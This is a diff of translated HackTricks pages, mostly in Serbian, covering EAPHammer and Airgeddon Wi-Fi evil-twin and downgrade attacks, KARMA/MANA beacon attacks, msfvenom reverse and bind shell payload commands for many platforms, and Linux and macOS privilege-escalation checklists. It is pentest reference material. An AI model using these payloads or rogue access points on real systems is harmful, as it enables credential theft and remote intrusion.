Podrazumevano, EAPHammer predlaže ove metode autentifikacije (primetite GTC kao prvu koju treba pokušati da se dobiju lozinke u običnom tekstu, a zatim korišćenje robusnijih metoda autentifikacije):
|
||||
Podrazumevano, EAPHammer predlaže ove metode autentifikacije (primetite GTC kao prvu koju treba pokušati da se dobiju plaintext lozinke, a zatim korišćenje robusnijih metoda autentifikacije):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
|
@ -596,20 +598,20 @@ Ovo je podrazumevana metodologija za izbegavanje dugih vremena povezivanja. Međ
|
|||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
Ili možete koristiti i:
|
||||
Or you could also use:
|
||||
|
||||
* `--negotiate gtc-downgrade` za korišćenje veoma efikasne GTC downgrade implementacije (plaintext lozinke)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` da ručno odredite ponuđene metode (ponudom istih metoda autentifikacije u istom redosledu, napad će biti mnogo teže otkriti).
|
||||
* [Pronađite više informacija u wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* `--negotiate gtc-downgrade` da koristite visoko efikasnu GTC downgrade implementaciju (plaintext lozinke)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` da ručno odredite ponuđene metode (ponudom istih metoda autentifikacije u istom redosledu kao organizacija, napad će biti mnogo teže otkriti).
|
||||
* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Korišćenje Airgeddon-a**
|
||||
**Using Airgeddon**
|
||||
|
||||
`Airgeddon` može koristiti prethodno generisane sertifikate za ponudu EAP autentifikacije za WPA/WPA2-Enterprise mreže. Lažna mreža će smanjiti protokol veze na EAP-MD5 kako bi mogla da **uhvati korisnika i MD5 lozinke**. Kasnije, napadač može pokušati da provali lozinku.\
|
||||
`Airgeddon` vam nudi mogućnost **kontinuiranog Evil Twin napada (bučan)** ili **samo kreiranje Evil napada dok se neko ne poveže (glatko).**
|
||||
`Airgeddon` vam nudi mogućnost **kontinuiranog Evil Twin napada (bučan)** ili **samo kreirati Evil Attack dok se neko ne poveže (glatko).**
|
||||
|
||||
![](<../../.gitbook/assets/image (936).png>)
|
||||
|
||||
### Debagovanje PEAP i EAP-TTLS TLS tunela u Evil Twin napadima
|
||||
### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
|
||||
|
||||
_Ova metoda je testirana u PEAP vezi, ali pošto dekriptujem proizvoljan TLS tunel, ovo bi takođe trebalo da funkcioniše sa EAP-TTLS_
|
||||
|
||||
|
@ -620,7 +622,7 @@ Sada pokrenite **Evil Twin** koristeći **`hostapd-wpe`** sa tom izmenjenom konf
|
|||
|
||||
Sada ili kasnije (kada ste već uhvatili neke pokušaje autentifikacije) možete dodati privatni RSA ključ u wireshark u: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Dodajte novi unos i popunite formu sa ovim vrednostima: **IP adresa = bilo koja** -- **Port = 0** -- **Protokol = podaci** -- **Ključna datoteka** (**izaberite svoju datoteku ključa**, da biste izbegli probleme, izaberite datoteku ključa **bez zaštite lozinkom**).
|
||||
Dodajte novi unos i popunite formu sa ovim vrednostima: **IP adresa = bilo koja** -- **Port = 0** -- **Protokol = podaci** -- **Ključna datoteka** (**izaberite vašu datoteku ključa**, da biste izbegli probleme, izaberite datoteku ključa **bez zaštite lozinkom**).
|
||||
|
||||
![](<../../.gitbook/assets/image (687).png>)
|
||||
|
||||
|
@ -628,19 +630,19 @@ I pogledajte novi **"Decrypted TLS" tab**:
|
|||
|
||||
![](<../../.gitbook/assets/image (231).png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA i napad poznatih beacon-a
|
||||
## KARMA, MANA, Loud MANA and Known beacons attack
|
||||
|
||||
### ESSID i MAC crne/belih lista
|
||||
### ESSID and MAC black/whitelists
|
||||
|
||||
Različite vrste lista filtera za pristup medijima (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje lažnog pristupnog tačke (AP):
|
||||
Različite vrste lista za filtriranje pristupa medijima (MFACLs) i njihovi odgovarajući načini i efekti na ponašanje lažnog pristupnog tačke (AP):
|
||||
|
||||
1. **MAC-bazirana bela lista**:
|
||||
* Lažni AP će odgovarati samo na probe zahteve od uređaja navedenih u beloj listi, ostajući nevidljiv za sve druge koji nisu navedeni.
|
||||
2. **MAC-bazirana crna lista**:
|
||||
1. **MAC-based Whitelist**:
|
||||
* Lažni AP će odgovarati samo na probe zahteve od uređaja navedenih na beloj listi, ostajući nevidljiv za sve druge koji nisu navedeni.
|
||||
2. **MAC-based Blacklist**:
|
||||
* Lažni AP će ignorisati probe zahteve od uređaja na crnoj listi, efektivno čineći lažni AP nevidljivim za te specifične uređaje.
|
||||
3. **SSID-bazirana bela lista**:
|
||||
3. **SSID-based Whitelist**:
|
||||
* Lažni AP će odgovarati na probe zahteve samo za specifične ESSID-e navedene, čineći ga nevidljivim za uređaje čiji spiskovi preferiranih mreža (PNL) ne sadrže te ESSID-e.
|
||||
4. **SSID-bazirana crna lista**:
|
||||
4. **SSID-based Blacklist**:
|
||||
* Lažni AP neće odgovarati na probe zahteve za specifične ESSID-e na crnoj listi, čineći ga nevidljivim za uređaje koji traže te određene mreže.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
|
@ -675,7 +677,7 @@ MANA napad funkcioniše tako što prati kako usmerene tako i emitovane probe zah
|
|||
```
|
||||
### Loud MANA
|
||||
|
||||
**Loud MANA napad** je napredna strategija za situacije kada uređaji ne koriste usmereno ispitivanje ili kada su njihovi spiskovi preferiranih mreža (PNL) nepoznati napadaču. Operiše na principu da **uređaji u istoj oblasti verovatno dele neka imena mreža u svojim PNL-ima**. Umesto da odgovara selektivno, ovaj napad emituje odgovore na ispitivanje za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ima svih posmatranih uređaja. Ovaj široki pristup povećava šanse da uređaj prepozna poznatu mrežu i pokuša da se poveže na lažni pristupni punkt (AP).
|
||||
**Loud MANA napad** je napredna strategija za situacije kada uređaji ne koriste usmereno ispitivanje ili kada su njihovi spiskovi preferiranih mreža (PNL) nepoznati napadaču. Deluje na principu da **uređaji u istoj oblasti verovatno dele neka imena mreža u svojim PNL-ima**. Umesto da odgovara selektivno, ovaj napad emituje odgovore na ispitivanje za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ima svih posmatranih uređaja. Ovaj široki pristup povećava šanse da uređaj prepozna poznatu mrežu i pokuša da se poveže na lažni pristupni punkt (AP).
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
@ -689,7 +691,7 @@ Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar l
|
|||
```
|
||||
**Poznati Beacon Burst napad**
|
||||
|
||||
**Poznati Beacon Burst napad** uključuje **brzo emitovanje beacon okvira za svaki ESSID naveden u datoteci**. Ovo stvara gustu sredinu lažnih mreža, što značajno povećava verovatnoću da se uređaji povežu na rogue AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da bi preplavila mehanizme odabira mreže uređaja.
|
||||
**Poznati Beacon Burst napad** uključuje **brzo emitovanje beacon okvira za svaki ESSID naveden u datoteci**. Ovo stvara gustu sredinu lažnih mreža, značajno povećavajući verovatnoću da se uređaji povežu na rogue AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da bi nadmašila mehanizme odabira mreže uređaja.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
|
@ -702,13 +704,13 @@ Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar l
|
|||
|
||||
**Wi-Fi Direct** je protokol koji omogućava uređajima da se direktno povežu jedni s drugima koristeći Wi-Fi bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova mogućnost je integrisana u razne uređaje Interneta stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju između uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom.
|
||||
|
||||
Bezbednost za Wi-Fi Direct veze se uspostavlja putem **Wi-Fi Protected Setup (WPS)**, koji podržava nekoliko metoda za sigurno uparivanje, uključujući:
|
||||
Bezbednost za Wi-Fi Direct veze se uspostavlja putem **Wi-Fi Protected Setup (WPS)**, koji podržava nekoliko metoda za sigurnu uparivanje, uključujući:
|
||||
|
||||
* **Push-Button Configuration (PBC)**
|
||||
* **PIN unos**
|
||||
* **Near-Field Communication (NFC)**
|
||||
|
||||
Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, čineći ih metama za slične napade.
|
||||
Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, što ih čini metama za slične napade.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
|
@ -729,7 +731,7 @@ Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradic
|
|||
|
||||
TODO: Pogledajte [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (prijavite se putem facebook-a i imitacija WPA na captive portalima)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -59,8 +59,6 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
|
|||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -98,6 +96,8 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco
|
|||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Linux Payloads
|
||||
|
||||
### Reverse Shell
|
||||
|
@ -113,11 +113,7 @@ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
|||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### SunOS (Solaris)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
|
@ -197,21 +193,17 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Python**
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Bash**
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -232,11 +224,11 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Checklist - Linux Privilege Escalation
|
||||
# Lista - Linux Eskalacija Privilegija
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,22 +15,22 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hakerski uvidi**\
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija obaveštenja**\
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
### **Najbolji alat za traženje Linux lokalnih vektora eskalacije privilegija:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Najbolji alat za traženje lokalnih vektora eskalacije privilegija na Linuxu:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Informacije o sistemu](privilege-escalation/#system-information)
|
||||
|
||||
|
@ -49,16 +49,16 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
* [ ] **Da li postoji neki nemontirani disk?**
|
||||
* [ ] **Da li postoje kredencijali u fstab?**
|
||||
|
||||
### [**Instalirani softver**](privilege-escalation/#installed-software)
|
||||
### [**Instalirani Softver**](privilege-escalation/#installed-software)
|
||||
|
||||
* [ ] **Proverite za** [**koristan softver**](privilege-escalation/#useful-software) **instaliran**
|
||||
* [ ] **Proverite za** [**ranjiv softver**](privilege-escalation/#vulnerable-software-installed) **instaliran**
|
||||
|
||||
### [Procesi](privilege-escalation/#processes)
|
||||
|
||||
* [ ] Da li se neki **nepoznati softver pokreće**?
|
||||
* [ ] Da li se pokreće neki **nepoznati softver**?
|
||||
* [ ] Da li se neki softver pokreće sa **više privilegija nego što bi trebao**?
|
||||
* [ ] Pretražite **exploite pokrenutih procesa** (posebno verziju koja se pokreće).
|
||||
* [ ] Pretražite za **exploite pokrenutih procesa** (posebno verziju koja se pokreće).
|
||||
* [ ] Možete li **modifikovati binarni** fajl nekog pokrenutog procesa?
|
||||
* [ ] **Pratite procese** i proverite da li se neki zanimljiv proces često pokreće.
|
||||
* [ ] Možete li **pročitati** neku zanimljivu **memoriju procesa** (gde bi lozinke mogle biti sačuvane)?
|
||||
|
@ -94,14 +94,14 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
|
||||
* [ ] Enumerisanje mreže da znate gde se nalazite
|
||||
* [ ] **Otvoreni portovi koje niste mogli da pristupite pre** nego što ste dobili shell unutar mašine?
|
||||
* [ ] Možete li **sniff-ovati saobraćaj** koristeći `tcpdump`?
|
||||
* [ ] Možete li **sniffovati saobraćaj** koristeći `tcpdump`?
|
||||
|
||||
### [Korisnici](privilege-escalation/#users)
|
||||
|
||||
* [ ] Generička **enumeracija korisnika/grupa**
|
||||
* [ ] Da li imate **veoma veliki UID**? Da li je **mašina** **ranjiva**?
|
||||
* [ ] Možete li [**eskalirati privilegije zahvaljujući grupi**](privilege-escalation/interesting-groups-linux-pe/) kojoj pripadate?
|
||||
* [ ] **Podaci iz clipboard-a**?
|
||||
* [ ] **Clipboard** podaci?
|
||||
* [ ] Politika lozinki?
|
||||
* [ ] Pokušajte da **koristite** svaku **poznatu lozinku** koju ste prethodno otkrili da se prijavite **sa svakim** mogućim **korisnikom**. Pokušajte da se prijavite i bez lozinke.
|
||||
|
||||
|
@ -119,13 +119,13 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
* [ ] [**LD\_PRELOAD ranjivost**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**Nedostatak .so biblioteke u SUID binarnom**](privilege-escalation/#suid-binary-so-injection) iz pisive fascikle?
|
||||
* [ ] [**SUDO tokeni dostupni**](privilege-escalation/#reusing-sudo-tokens)? [**Možete li kreirati SUDO token**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] Možete li [**pročitati ili modifikovati sudoers fajlove**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] Možete li [**čitati ili modifikovati sudoers fajlove**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] Možete li [**modifikovati /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) komanda
|
||||
|
||||
### [Kapaciteti](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] Da li neki binarni fajl ima neku **neočekivanu sposobnost**?
|
||||
* [ ] Da li neki binarni ima neku **neočekivanu sposobnost**?
|
||||
|
||||
### [ACL-ovi](privilege-escalation/#acls)
|
||||
|
||||
|
@ -141,13 +141,13 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
* [ ] **Debian** [**OpenSSL Predvidljiv PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* [ ] [**SSH Zanimljive konfiguracione vrednosti**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
|
||||
### [Zanimljivi fajlovi](privilege-escalation/#interesting-files)
|
||||
### [Zanimljivi Fajlovi](privilege-escalation/#interesting-files)
|
||||
|
||||
* [ ] **Profilni fajlovi** - Pročitajte osetljive podatke? Pišite za privesc?
|
||||
* [ ] **passwd/shadow fajlovi** - Pročitajte osetljive podatke? Pišite za privesc?
|
||||
* [ ] **Proverite uobičajene zanimljive fascikle** za osetljive podatke
|
||||
* [ ] **Čudne lokacije/Owned fajlovi,** možda imate pristup ili možete da menjate izvršne fajlove
|
||||
* [ ] **Modifikovani** u poslednjim minutima
|
||||
* [ ] **Čudne Lokacije/Posedovani fajlovi,** možda imate pristup ili možete da menjate izvršne fajlove
|
||||
* [ ] **Izmenjeni** u poslednjih nekoliko minuta
|
||||
* [ ] **Sqlite DB fajlovi**
|
||||
* [ ] **Skriveni fajlovi**
|
||||
* [ ] **Skripte/Binari u PATH-u**
|
||||
|
@ -156,7 +156,7 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
* [ ] **Poznati fajlovi koji sadrže lozinke**: Koristite **Linpeas** i **LaZagne**
|
||||
* [ ] **Generička pretraga**
|
||||
|
||||
### [**Pisivi fajlovi**](privilege-escalation/#writable-files)
|
||||
### [**Pisivi Fajlovi**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] **Modifikujte python biblioteku** da izvršite proizvoljne komande?
|
||||
* [ ] Možete li **modifikovati log fajlove**? **Logtotten** exploit
|
||||
|
@ -168,17 +168,17 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
* [ ] Možete li [**zloupotrebiti NFS da eskalirate privilegije**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] Da li treba da [**pobegnete iz restriktivnog shell-a**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hakerski uvidi**\
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija obaveštenja**\
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Security & Privilege Escalation
|
||||
# macOS Bezbednost & Eskalacija Privilegija
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,24 +15,24 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hakerski uvidi**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
**Hakerski Uvidi**\
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Vesti o hakovanju u realnom vremenu**\
|
||||
**Vesti o Haku u Realnom Vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovija obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
**Najnovija Obaveštenja**\
|
||||
Budite informisani o najnovijim nagradama za greške i ključnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
## Osnovni MacOS
|
||||
|
||||
Ako niste upoznati sa macOS-om, trebali biste početi da učite osnove macOS-a:
|
||||
Ako niste upoznati sa macOS, trebali biste početi da učite osnove macOS-a:
|
||||
|
||||
* Specijalni macOS **fajlovi i dozvole:**
|
||||
|
||||
|
@ -64,8 +64,8 @@ Ako niste upoznati sa macOS-om, trebali biste početi da učite osnove macOS-a:
|
|||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Otvoreni izvor** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Da preuzmete `tar.gz`, promenite URL kao što je [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) u [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
* **Otvoreni kod** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* Da preuzmete `tar.gz`, promenite URL kao [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) u [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
|
@ -75,23 +75,23 @@ U kompanijama **macOS** sistemi će verovatno biti **upravljani putem MDM-a**. S
|
|||
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS - Istraživanje, debagovanje i fuzzing
|
||||
### MacOS - Istraživanje, Debagovanje i Fuzzing
|
||||
|
||||
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
||||
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MacOS sigurnosne zaštite
|
||||
## MacOS Bezbednosne Zaštite
|
||||
|
||||
{% content-ref url="macos-security-protections/" %}
|
||||
[macos-security-protections](macos-security-protections/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Površina napada
|
||||
## Površina Napada
|
||||
|
||||
### Dozvole fajlova
|
||||
### Dozvole Fajlova
|
||||
|
||||
Ako **proces koji se izvršava kao root piše** fajl koji može kontrolisati korisnik, korisnik bi to mogao zloupotrebiti da **poveća privilegije**.\
|
||||
Ako **proces koji se izvršava kao root piše** fajl koji može kontrolisati korisnik, korisnik bi to mogao zloupotrebiti da **escalira privilegije**.\
|
||||
To se može dogoditi u sledećim situacijama:
|
||||
|
||||
* Fajl koji se koristi je već kreiran od strane korisnika (u vlasništvu korisnika)
|
||||
|
@ -101,13 +101,13 @@ To se može dogoditi u sledećim situacijama:
|
|||
|
||||
Mogućnost da **kreirate fajl** koji će biti **koristen od strane root-a**, omogućava korisniku da **iskoristi njegov sadržaj** ili čak kreira **symlinks/hardlinks** da ga usmeri na drugo mesto.
|
||||
|
||||
Za ovakve vrste ranjivosti ne zaboravite da **proverite ranjive `.pkg` instalere**:
|
||||
Za ovu vrstu ranjivosti ne zaboravite da **proverite ranjive `.pkg` instalere**:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ekstenzije fajlova i URL sheme aplikacija
|
||||
### Ekstenzije Fajlova & URL sheme aplikacija
|
||||
|
||||
Čudne aplikacije registrovane po ekstenzijama fajlova mogle bi biti zloupotrebljene, a različite aplikacije mogu biti registrovane da otvore specifične protokole
|
||||
|
||||
|
@ -115,19 +115,19 @@ Za ovakve vrste ranjivosti ne zaboravite da **proverite ranjive `.pkg` instalere
|
|||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## macOS TCC / SIP Povećanje privilegija
|
||||
## macOS TCC / SIP Eskalacija Privilegija
|
||||
|
||||
U macOS-u **aplikacije i binarni fajlovi mogu imati dozvole** za pristup folderima ili podešavanjima koja ih čine privilegovanijim od drugih.
|
||||
U macOS **aplikacije i binarni fajlovi mogu imati dozvole** za pristup folderima ili podešavanjima koja ih čine privilegovanijim od drugih.
|
||||
|
||||
Stoga, napadač koji želi uspešno da kompromituje macOS mašinu moraće da **poveća svoje TCC privilegije** (ili čak **obiđe SIP**, u zavisnosti od njegovih potreba).
|
||||
Stoga, napadač koji želi uspešno da kompromituje macOS mašinu moraće da **escalira svoje TCC privilegije** (ili čak **obiđe SIP**, u zavisnosti od njegovih potreba).
|
||||
|
||||
